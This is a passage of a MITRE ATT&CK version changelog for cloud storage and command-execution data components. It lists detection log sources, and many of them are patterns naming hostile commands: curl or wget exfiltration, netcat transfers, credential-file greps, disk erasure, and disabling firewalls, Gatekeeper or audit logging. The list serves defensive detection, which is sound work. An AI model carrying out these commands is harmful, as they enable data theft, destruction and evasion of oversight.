permissions'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--b1ddede4-cafe-4955-ac4c-14b33ac3f647

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:15:24.409000+00:00	2025-10-21 15:14:35.943000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0025] Cloud Storage Access

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0025', 'external_id': 'DC0025'}]
x_mitre_log_sources		[{'name': 'AWS:CloudTrail', 'channel': 'PutObject, CopyObject'}, {'name': 'AWS:CloudTrail', 'channel': 'PutObject, GetObject, CopyObject, DeleteObject'}, {'name': 'AWS:CloudTrail', 'channel': 'GetObject'}, {'name': 'AWS:CloudTrail', 'channel': 'PutObject: S3 writes with .sql/.csv extension by same identity or within 5 min of DB access'}, {'name': 'm365:unified', 'channel': 'Accessed SharePoint files or pages'}, {'name': 'm365:unified', 'channel': 'FileAccessed, FileDownloaded, ConsentGranted'}, {'name': 'gcp:workspaceaudit', 'channel': 'download, authorization_grant'}, {'name': 'm365:sharepoint', 'channel': 'AnonymousLinkCreated, FileDownloaded'}, {'name': 'm365:unified', 'channel': 'App-only or delegated access patterns where client_id != known enterprise apps'}, {'name': 'saas:github', 'channel': 'Artifact generated includes base64/encoded exfil payload or URL'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--2ce537a2-3b30-4374-9397-31d6460ec0bc

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:13:49.144000+00:00	2025-10-21 15:14:36.111000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0024] Cloud Storage Creation

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0024', 'external_id': 'DC0024'}]
x_mitre_log_sources		[{'name': 'AWS:CloudTrail', 'channel': 'CreateBucket'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--2ce537a2-3b30-4374-9397-31d6460ec0bc

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:14:01.974000+00:00	2025-10-21 15:14:39.305000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0022] Cloud Storage Deletion

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0022', 'external_id': 'DC0022'}]
x_mitre_log_sources		[{'name': 'AWS:CloudTrail', 'channel': 'DeleteBucket, DeleteDBCluster, DeleteSnapshot, TerminateInstances'}, {'name': 'AWS:CloudTrail', 'channel': 'PutBackupVaultAccessPolicy'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--2ce537a2-3b30-4374-9397-31d6460ec0bc

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:13:58.772000+00:00	2025-10-21 15:14:38.644000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0017] Cloud Storage Enumeration

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0017', 'external_id': 'DC0017'}]
x_mitre_log_sources		[{'name': 'AWS:CloudTrail', 'channel': 'ListBuckets'}, {'name': 'AWS:CloudTrail', 'channel': 'ListObjectsV2'}, {'name': 'azure:activity', 'channel': 'List Blobs'}, {'name': 'gcp:storage', 'channel': 'storage.objects.list'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--2ce537a2-3b30-4374-9397-31d6460ec0bc

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:13:55.587000+00:00	2025-10-21 15:14:38.903000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0027] Cloud Storage Metadata

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0027', 'external_id': 'DC0027'}]
x_mitre_log_sources		[{'name': 'AWS:CloudTrail', 'channel': 'Post-authentication metadata enumeration from GUI session'}, {'name': 'm365:unified', 'channel': 'AnonymousLinkCreated'}, {'name': 'saas:box', 'channel': 'collaboration.invite'}, {'name': 'saas:dropbox', 'channel': 'Shared link created to external account'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--2ce537a2-3b30-4374-9397-31d6460ec0bc

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:13:52.404000+00:00	2025-10-21 15:14:39.767000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0023] Cloud Storage Modification

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0023', 'external_id': 'DC0023'}]
x_mitre_log_sources		[{'name': 'AWS:CloudTrail', 'channel': 'PutBucketLifecycle, PutLifecycleConfiguration, SetBucketLifecycle, storage.buckets.update'}, {'name': 'AWS:CloudTrail', 'channel': 'PutObject (with SSE-C), UploadPart (SSE-C)'}, {'name': 'AWS:CloudTrail', 'channel': 'PutBucketPolicy'}, {'name': 'm365:unified', 'channel': 'SharingSet'}, {'name': 'saas:googledrive', 'channel': 'drive.permission.add'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--2ce537a2-3b30-4374-9397-31d6460ec0bc

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:13:45.928000+00:00	2025-10-21 15:14:36.930000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0064] Command Execution

Current version: 2.0

Version changed from: 1.2 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0064', 'external_id': 'DC0064'}]
x_mitre_log_sources		[{'name': 'Command', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of realmd, samba-tool, or ldapmodify with user-related arguments'}, {'name': 'macos:unifiedlog', 'channel': 'dsconfigad or dscl with create or append options for AD-bound users'}, {'name': 'EDR:AMSI', 'channel': 'None'}, {'name': 'linux:syslog', 'channel': '/var/log/syslog or journalctl'}, {'name': 'WinEventLog:PowerShell', 'channel': 'Get-ADTrust\|GetAllTrustRelationships'}, {'name': 'gcp:audit', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of script interpreters by systemd timer (ExecStart)'}, {'name': 'AWS:CloudTrail', 'channel': 'InvokeFunction'}, {'name': 'm365:unified', 'channel': 'Automated forwarding or file sync initiated by a logic app'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4104'}, {'name': 'linux:syslog', 'channel': 'Suspicious script or command execution targeting browser folders'}, {'name': 'esxi:shell', 'channel': 'snapshot create/copy, esxcli'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Commands like systemctl stop , service stop, or kill -9 '}, {'name': 'macos:unifiedlog', 'channel': 'launchctl unload, kill, or pkill commands affecting daemons or background services'}, {'name': 'macos:unifiedlog', 'channel': 'execution of security-agent detection or enumeration commands'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate'}, {'name': 'WinEventLog:PowerShell', 'channel': 'Execution of Microsoft script to enumerate custom forms in Outlook mailbox'}, {'name': 'm365:messagetrace', 'channel': 'Inbound email triggers execution of mailbox-stored custom form'}, {'name': 'auditd:EXECVE', 'channel': "Use of mv or cp to rename files with '.' prefix"}, {'name': 'macos:unifiedlog', 'channel': 'Execution of chflags hidden or SetFile -a V'}, {'name': 'esxi:shell', 'channel': 'interactive shell'}, {'name': 'networkdevice:cli', 'channel': 'CLI command'}, {'name': 'macos:unifiedlog', 'channel': 'log stream'}, {'name': 'esxi:vmkernel', 'channel': '/var/log/vmkernel.log'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls to locale, timedatectl, or cat /etc/timezone'}, {'name': 'macos:unifiedlog', 'channel': 'defaults read -g AppleLocale, systemsetup -gettimezone'}, {'name': 'macos:unifiedlog', 'channel': 'profiles install -type=configuration'}, {'name': 'auditd:SYSCALL', 'channel': 'sleep function usage or loops (nanosleep, usleep) in scripts'}, {'name': 'm365:unified', 'channel': 'Search-Mailbox, Get-MessageTrace, eDiscovery requests'}, {'name': 'EDR:cli', 'channel': 'Command Line Telemetry'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'eventMessage contains "loginwindow" or "pfctl"\''}, {'name': 'networkdevice:syslog', 'channel': 'Command Audit / Configuration Change'}, {'name': 'WinEventLog:Microsoft-Office/OutlookAddinMonitor', 'channel': 'Outlook loading add-in via unexpected load path or non-default profile context'}, {'name': 'macos:unifiedlog', 'channel': 'exec or sudo usage with NOPASSWD context or echo modifying sudoers'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4104'}, {'name': 'WinEventLog:Powershell', 'channel': 'EventCode=4104'}, {'name': 'auditd:EXECVE', 'channel': 'execve: Execution of update-ca-certificates or trust anchor modification commands'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of /usr/bin/security add-trusted-cert or keychain modifications to System.keychain'}, {'name': 'auditd:EXECVE', 'channel': 'gcore, gdb, strings, hexdump execution'}, {'name': 'auditd:SYSCALL', 'channel': 'connect, execve, write'}, {'name': 'esxi:hostd', 'channel': 'command execution'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of auditctl, systemctl stop auditd, or kill -9 auditd'}, {'name': 'macos:syslog', 'channel': 'system.log'}, {'name': 'esxi:hostd', 'channel': '/var/log/hostd.log'}, {'name': 'esxi:shell', 'channel': '/var/log/shell.log'}, {'name': 'docker:daemon', 'channel': 'docker exec or docker run with unexpected command/entrypoint'}, {'name': 'auditd:SYSCALL', 'channel': "execve call including 'nohup' or trailing '&'"}, {'name': 'macos:unifiedlog', 'channel': 'nohup, disown, or osascript execution patterns'}, {'name': 'WinEventLog:PowerShell', 'channel': 'CommandLine=copy-item or robocopy from UNC path'}, {'name': 'esxi:shell', 'channel': 'invoked remote scripts (esxcli)'}, {'name': 'auditd:EXECVE', 'channel': 'execution of systemctl with subcommands start, stop, enable, disable'}, {'name': 'networkdevice:cli', 'channel': 'Policy Update'}, {'name': 'auditd:SYSCALL', 'channel': 'None'}, {'name': 'AWS:CloudTrail', 'channel': 'eventName: RunInstances, CreateUser, PutRolePolicy, InvokeCommand'}, {'name': 'gcp:audit', 'channel': 'methodName: setIamPolicy, startInstance, createServiceAccount'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Commands executed within an SSH session where no matching logon/authentication event exists'}, {'name': 'esxi:hostd', 'channel': 'modification of config files or shell command execution'}, {'name': 'kubernetes:audit', 'channel': 'Shell process (e.g., /bin/sh, /bin/bash) spawned in a container without an interactive session attached (i.e., automation anomaly)'}, {'name': 'macos:unifiedlog', 'channel': "Execution of 'profiles install -type=configuration'"}, {'name': 'macos:unifiedlog', 'channel': 'subsystem:com.apple.Terminal'}, {'name': 'networkdevice:syslog', 'channel': 'eventlog'}, {'name': 'esxi:hostd', 'channel': 'shell access or job registration'}, {'name': 'WinEventLog:PowerShell', 'channel': 'PowerShell launched from outlook.exe or triggered without user invocation'}, {'name': 'm365:messagetrace', 'channel': 'Inbound email matches crafted rule trigger pattern tied to persistence logic'}, {'name': 'linus:syslog', 'channel': 'None'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4103,4104'}, {'name': 'linux:syslog', 'channel': 'Unusual outbound transfers from CLI tools like base64, gzip, or netcat'}, {'name': 'macos:unifiedlog', 'channel': 'base64 or curl processes chained within short execution window'}, {'name': 'esxi:shell', 'channel': 'base64 or gzip use within shell session'}, {'name': 'macos:unifiedlog', 'channel': 'exec: Invocation of /usr/bin/defaults write or /usr/bin/plutil modifying plist keys'}, {'name': 'auditd:SYSCALL', 'channel': 'chmod, execve'}, {'name': 'macos:unifiedlog', 'channel': "chmod command with arguments including '+s', 'u+s', or numeric values 4000–6777"}, {'name': 'macos:unifiedlog', 'channel': 'command includes dscl . delete or sysadminctl --deleteUser'}, {'name': 'fs:fsusage', 'channel': 'file system activity monitor'}, {'name': 'networkdevice:cli', 'channel': 'ip ssh pubkey-chain'}, {'name': 'esxi:shell', 'channel': 'scripts or binaries with misleading names'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of GUI-related binaries with suppressed window/display flags'}, {'name': 'linuxsyslog', 'channel': 'nslcd or winbind logs'}, {'name': 'macos:unifiedlog', 'channel': 'DS daemon log entries'}, {'name': 'esxi:hostd', 'channel': 'logline inspection'}, {'name': 'macos:unifiedlog', 'channel': 'diskutil eraseDisk / asr restore with destructive flags'}, {'name': 'networkdevice:cli', 'channel': 'erase flash:, erase startup-config, format disk'}, {'name': 'networkdevice:syslog', 'channel': 'command_exec'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: iptables, nft, firewall-cmd modifications'}, {'name': 'macos:unifiedlog', 'channel': 'pfctl -d, socketfilterfw --setglobalstate off, or modifications to com.apple.alf'}, {'name': 'esxi:hostd', 'channel': 'esxcli network firewall set commands'}, {'name': 'docker:events', 'channel': 'container exec rm\|container stop --force'}, {'name': 'esxi:hostd', 'channel': 'event stream'}, {'name': 'networkdevice:cli', 'channel': 'CLI command logs'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4103'}, {'name': 'esxi:shell', 'channel': '/var/log/shell.log entries containing "esxcli system clock get"'}, {'name': 'networkdevice:syslog', 'channel': 'command-exec: CLI commands containing "show clock", "show clock detail", "show timezone" executed by suspicious user/source'}, {'name': 'networkdevice:cli', 'channel': 'cmd: cmd=show clock detail'}, {'name': 'auditd:EXECVE', 'channel': 'curl -X POST, wget --post-data'}, {'name': 'linux:syslog', 'channel': 'sudo chage\|grep pam_pwquality\|cat /etc/login.defs'}, {'name': 'macos:unifiedlog', 'channel': 'pwpolicy\|PasswordPolicy'}, {'name': 'networkdevice:syslog', 'channel': "cmd='show aaa' OR 'show running-config \| include password\|aaa' OR 'show aaa common-criteria policy all'"}, {'name': 'networkdevice:syslog', 'channel': 'CLI command audit'}, {'name': 'networkdevice:cli', 'channel': "Execution of commands to load, copy, or replace system images (e.g., 'copy tftp flash', 'boot system')"}, {'name': 'WinEventLog:PowerShell', 'channel': 'Execution of PowerShell script to enumerate or remove malicious Home Page folder config'}, {'name': 'm365:messagetrace', 'channel': 'Inbound email triggering Outlook to auto-access folder tied to malicious Home Page'}, {'name': 'macos:unifiedlog', 'channel': 'Command line contains smbutil view //, mount_smbfs //'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Invocation of scp, rsync, curl, or sftp'}, {'name': 'esxi:hostd', 'channel': 'scp/ssh used to move file across hosts'}, {'name': 'auditd:EXECVE', 'channel': 'command line arguments containing lsblk, fdisk, parted'}, {'name': 'macos:unifiedlog', 'channel': 'log messages related to disk enumeration context or Terminal session'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls modifying local mail filter configuration files'}, {'name': 'esxi:hostd', 'channel': 'None'}, {'name': 'esxi:shell', 'channel': 'None'}, {'name': 'networkdevice:cli', 'channel': 'None'}, {'name': 'linux:syslog', 'channel': 'sudo execution of ffmpeg/gst-launch/v4l2-ctl by non-standard user'}, {'name': 'docker:api', 'channel': 'docker logs access or container inspect commands from non-administrative users'}, {'name': 'esxi:shell', 'channel': 'command IN ("esxcli vm process list", "vim-cmd vmsvc/getallvms")'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: process_name IN ("virsh", "VBoxManage", "qemu-img") AND command IN ("list", "info")'}, {'name': 'esxi:shell', 'channel': 'openssl\|tar\|dd'}, {'name': 'AWS:CloudTrail', 'channel': 'SSM RunCommand'}, {'name': 'azure:activity', 'channel': 'Intune PowerShell Scripts'}, {'name': 'm365:exchange', 'channel': 'Cmdlet: Get-GlobalAddressList, Get-Recipient'}, {'name': 'networkdevice:cli', 'channel': "Execution of commands like 'show running-config', 'copy running-config', or 'export config'"}, {'name': 'esxi:syslog', 'channel': 'boot logs'}, {'name': 'networkdevice:syslog', 'channel': 'system boot logs'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: service stop syslog, systemctl stop rsyslog, kill -9 syslog'}, {'name': 'macos:unifiedlog', 'channel': 'defaults write com.apple.system.logging or logd manipulation'}, {'name': 'esxi:hostd', 'channel': 'esxcli system syslog config set or reload'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: openssl pkcs12, certutil, keytool'}, {'name': 'macos:unifiedlog', 'channel': 'process calling security find-certificate, export, or import'}, {'name': 'networkdevice:cli', 'channel': "Execution of CLI commands altering crypto parameters (e.g., 'crypto key generate rsa modulus 512')"}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Process in container namespace executes curl\|wget\|bash\|sh\|python\|nc with outbound args'}, {'name': 'm365:exchange', 'channel': 'Get-RoleGroup, Get-DistributionGroup'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of systemctl or service with enable/start parameters'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of cat, less, grep, journalctl targeting log directories (/var/log/)'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of log show, fs_usage, or cat targeting system.log'}, {'name': 'AWS:CloudTrail', 'channel': 'GetLogEvents: High frequency log exports from CloudWatch or equivalent services'}, {'name': 'esxi:shell', 'channel': 'Execution of cat, tail, grep targeting /var/log/vmkernel.log or /var/log/hostd.log'}, {'name': 'esxi:shell', 'channel': 'CLI usage logs'}, {'name': 'macos:syslog', 'channel': '/var/log/system.log'}, {'name': 'macos:unifiedlog', 'channel': 'execution of launchctl load/unload/start commands'}, {'name': 'WinEventLog:PowerShell', 'channel': 'Exchange Cmdlets'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of python, perl, or custom binaries invoking compression libraries'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, USER_CMD'}, {'name': 'auditd:USER_CMD', 'channel': 'USER_CMD'}, {'name': 'esxi:shell', 'channel': 'Command execution trace'}, {'name': 'auditd:SYSCALL', 'channel': 'bash/zsh of base64, tar, gzip, or openssl immediately after file write'}, {'name': 'linux:osquery', 'channel': 'Command-line includes base64 -d or openssl enc -d'}, {'name': 'macos:unifiedlog', 'channel': 'base64 -d or osascript invoked on staged file'}, {'name': 'auditd:EXECVE', 'channel': 'exec: Execution of dd, efibootmgr, or flashrom modifying firmware/boot partitions'}, {'name': 'auditd:EXECVE', 'channel': 'curl -d, wget --post-data'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Processes executing sendmail/postfix with forged headers'}, {'name': 'macos:unifiedlog', 'channel': 'diskutil partitionDisk or eraseVolume with partition scheme modifications'}, {'name': 'networkdevice:cli', 'channel': 'format flash:, format disk, reformat commands'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of tar, gzip, bzip2, xz, zip, or openssl with compression/encryption arguments'}, {'name': 'auditd:PROCTITLE', 'channel': 'proctitle contains chmod, chown, setfacl, or attr commands with suspicious parameters'}, {'name': 'esxi:shell', 'channel': 'shell command execution for chmod, chown, or file permission modification on VMFS or system files'}, {'name': 'networkdevice:Firewall', 'channel': 'Audit trail or CLI/API access indicating commands like no access-list, delete rule-set, clear config'}, {'name': 'auditd:EXECVE', 'channel': 'grep/cat/awk on files with password fields'}, {'name': 'macos:unifiedlog', 'channel': 'grep/cat on files matching credential patterns'}, {'name': 'kubernetes:audit', 'channel': 'process execution involving curl, grep, or awk on secrets'}, {'name': 'AWS:CloudTrail', 'channel': 'command-line execution invoking credential enumeration'}, {'name': 'auditd:SYSCALL', 'channel': 'promiscuous mode transitions (ioctl or ifconfig)'}, {'name': 'fs:fsusage', 'channel': 'access to BPF devices or interface IOCTLs'}, {'name': 'networkdevice:syslog', 'channel': "exec command='monitor capture'"}, {'name': 'WinEventLog:Microsoft-Office-Alerts', 'channel': 'Unexpected DLL or component loaded at Office startup'}, {'name': 'm365:office', 'channel': 'Startup execution includes non-default component'}, {'name': 'macos:unifiedlog', 'channel': 'diskutil eraseDisk/zeroDisk or asr restore with destructive flags'}, {'name': 'networkdevice:cli', 'channel': 'erase flash:, erase nvram:, format disk'}, {'name': 'macos:unifiedlog', 'channel': 'spctl --master-disable, csrutil disable, or defaults write to disable Gatekeeper'}, {'name': 'esxi:shell', 'channel': "esxcli system syslog config set --loghost='' or stopping hostd service"}, {'name': 'networkdevice:syslog', 'channel': 'no logging buffered, no aaa new-model, disable firewall'}, {'name': 'auditd:EXECVE', 'channel': 'git push, curl -X POST'}, {'name': 'linux:cli', 'channel': 'command logging'}, {'name': 'esxi:hostd', 'channel': 'command log'}, {'name': 'networkdevice:cli', 'channel': 'command logs'}, {'name': 'networkdevice:syslog', 'channel': 'interactive shell logging'}, {'name': 'esxi:hostd', 'channel': "Execution of '/bin/vmx' or modifications to '/etc/rc.local.d/local.sh'"}, {'name': 'auditd:SYSCALL', 'channel': 'chattr, rm, shred, dd run on recovery directories or partitions'}, {'name': 'networkdevice:syslog', 'channel': 'command sequence: erase → format → reload'}, {'name': 'macos:unifiedlog', 'channel': 'process: at, job runner'}, {'name': 'macos:osquery', 'channel': 'Interpreter exec with suspicious arguments as above'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of curl or wget writing files to /tmp/ followed by chmod or execution'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of downgraded interpreters such as python2 or forced fallback commands'}, {'name': 'auditd:PROCTITLE', 'channel': 'proctitle contains chmod, chown, chgrp, setfacl, or attr with suspicious parameters (777, 755, +x, -R)'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of gsettings set org.gnome.login-screen disable-user-list true'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of dscl . create with IsHidden=1'}, {'name': 'linux:syslog', 'channel': 'sshd logs'}, {'name': 'esxi:shell', 'channel': 'Shell Access/Command Execution'}, {'name': 'networkdevice:syslog', 'channel': 'CLI Command Logging'}, {'name': 'auditd:CONFIG_CHANGE', 'channel': 'udev rule reload or trigger command executed'}, {'name': 'linux:cli', 'channel': 'Shell history logs'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'processImagePath contains "zip" OR "base64"\''}, {'name': 'networkdevice:cli', 'channel': 'command logging'}, {'name': 'esxi:hostd', 'channel': 'Command Execution'}, {'name': 'macos:osquery', 'channel': 'launchd + process_events'}, {'name': 'esxi:vmkernel', 'channel': 'DCUI shell start, BusyBox activity'}, {'name': 'esxi:hostd', 'channel': 'remote CLI + vim-cmd logging'}, {'name': 'networkdevice:syslog', 'channel': 'CLI Command Audit'}, {'name': 'm365:defender', 'channel': 'Activity Log: Command Invocation'}, {'name': 'WinEventLog:PowerShell', 'channel': 'CmdletName: Get-Recipient, Get-User'}, {'name': 'WinEventLog:PowerShell', 'channel': "Execution of 'Get-WmiObject Win32_Product' or similar PowerShell cmdlets"}, {'name': 'linux:shell', 'channel': 'Manual invocation of software enumeration commands via interactive shell'}, {'name': 'auditd:SYSCALL', 'channel': 'Command line arguments including SPApplicationsDataType'}, {'name': 'AWS:CloudTrail', 'channel': 'ssm:GetCommandInvocation'}, {'name': 'esxi:shell', 'channel': 'esxcli software vib list'}, {'name': 'auditd:EXECVE', 'channel': 'execution of setfattr or getfattr commands'}, {'name': 'macos:unifiedlog', 'channel': 'xattr utility execution with -w or -p flags'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of spoofing tools (e.g., hping3, nping, scapy) sending UDP packets to known amplifier ports'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of tools like cat, grep, or awk on credential files'}, {'name': 'macos:unifiedlog', 'channel': "execution of 'security', 'cat', or 'grep' commands accessing credential storage"}, {'name': 'linux:syslog', 'channel': "CLI access to 'show running-config', 'show password', or 'cat config.txt'"}, {'name': 'auditd:SYSCALL', 'channel': 'execve of curl, rsync, wget with internal knowledge base or IPs'}, {'name': 'esxi:shell', 'channel': '/root/.ash_history'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of systemctl, loginctl, or systemd-inhibit commands related to sleep/hibernate'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4103,4104,4105, 4106'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of xev, xdotool, or input activity emulators'}, {'name': 'macos:unifiedlog', 'channel': 'launchctl load or boot-time plist registration'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of interpreters creating archive-like outputs without calling tar/gzip'}, {'name': 'networkdevice:syslog', 'channel': 'command audit'}, {'name': 'networkdevice:cli', 'channel': 'Interface commands'}, {'name': 'macos:unifiedlog', 'channel': 'dscl -create'}, {'name': 'esxi:vmkernel', 'channel': 'esxcli system account add'}, {'name': 'ebpf:syscalls', 'channel': 'useradd or /etc/passwd modified inside container'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of insmod, modprobe, or rmmod commands by non-standard users or outside expected timeframes'}, {'name': 'macos:unifiedlog', 'channel': 'kextload execution from Terminal or suspicious paths'}, {'name': 'WinEventLog:PowerShell', 'channel': 'Execution of PowerShell without -NoProfile flag'}, {'name': 'auditd:EXECVE', 'channel': 'Process execution of update-ca-certificates or openssl with suspicious arguments'}, {'name': 'macos:unifiedlog', 'channel': 'xattr -d com.apple.quarantine or similar removal commands'}, {'name': 'azure:signinLogs', 'channel': 'OperationName=SetDomainAuthentication OR Update-MsolFederatedDomain'}, {'name': 'linux:syslog', 'channel': 'Sudo or root escalation followed by filesystem mount commands'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4101'}, {'name': 'networkdevice:cli', 'channel': "Execution of privileged commands such as 'copy tftp flash', 'boot system', or 'debug memory'"}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4105'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4106'}, {'name': 'auditd:SYSCALL', 'channel': 'execve syscalls for discovery commands (uname, hostname, id, whoami, ps, netstat, mount) with command-line parameter analysis'}, {'name': 'auditd:PROCTITLE', 'channel': 'process title records containing discovery command sequences and environmental assessment patterns'}, {'name': 'macos:unifiedlog', 'channel': 'Security framework operations including keychain access, cryptographic operations, and certificate validation'}, {'name': 'm365:unified', 'channel': 'Set-Mailbox, New-InboxRule'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'networkdevice:cli', 'channel': "Execution of commands disabling crypto hardware acceleration (e.g., 'no crypto engine enable')"}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of curl, wget, or custom scripts accessing financial endpoints'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of chattr to set +i or +a attributes'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of chflags hidden or setfile -a V'}, {'name': 'esxi:shell', 'channel': 'mv, rename, or chmod commands moving VM files into hidden directories'}, {'name': 'esxi:hostd', 'channel': 'execution + payload hints'}, {'name': 'linux:osquery', 'channel': 'process_events.command_line'}, {'name': 'macos:unifiedlog', 'channel': 'process:spawn, process:exec'}, {'name': 'esxi:vobd', 'channel': 'shell session start'}, {'name': 'networkdevice:cli', 'channel': 'shell command'}, {'name': 'WinEventLog:Microsoft-Office-Alerts', 'channel': 'Office application warning or alert on macro execution from template'}, {'name': 'm365:unified', 'channel': 'Set-Mailbox, Set-MailboxPolicy, Set-TrustedLocation'}, {'name': 'm365:office', 'channel': 'Execution of unsigned macro from template'}, {'name': 'linux:cli', 'channel': 'Terminal Command History'}, {'name': 'macos:unifiedlog', 'channel': 'csrutil disable'}, {'name': 'macos:unifiedlog', 'channel': "log show --predicate 'process == '"}, {'name': 'networkdevice:syslog', 'channel': 'Privilege-level command execution'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of tar, gzip, bzip2, or openssl with output redirection'}, {'name': 'saas:PRMetadata', 'channel': 'Commit message or branch name contains encoded strings or payload indicators'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of launchctl with setenv or bootout targeting TCC.db or AppleScript under Finder context'}, {'name': 'esxi:shell', 'channel': '`esxcli software vib install` with `--force` or `--no-sig-check` from shell history or `shell.log`'}, {'name': 'AWS:CloudTrail', 'channel': 'SendCommand, StartSession, ExecuteCommand: Unexpected AWS Systems Manager command execution targeting EC2 instances'}, {'name': 'esxi:vmkernel', 'channel': 'Unexpected restarts of management agents or shell access'}, {'name': 'auditd:EXECVE', 'channel': 'curl or wget with POST/PUT options'}, {'name': 'networkdevice:syslog', 'channel': 'Detected CLI command to export key material'}, {'name': 'networkdevice:config', 'channel': 'PKI export or certificate manipulation commands'}, {'name': 'macos:unifiedlog', 'channel': 'command execution triggered by emond (e.g., shell, curl, python)'}, {'name': 'esxi:vmkernel', 'channel': 'esxcli, vim-cmd invocation'}, {'name': 'esxi:shell', 'channel': 'CLI session activity'}, {'name': 'auditd:SYSCALL', 'channel': 'execve=/sbin/shutdown or /sbin/reboot'}, {'name': 'esxi:shell', 'channel': 'esxcli system shutdown or reboot invoked'}, {'name': 'networkdevice:syslog', 'channel': 'reload command issued'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4103, 4104'}, {'name': 'auditd:PROCTITLE', 'channel': 'command-line execution patterns for system discovery utilities (uname, hostname, ifconfig, 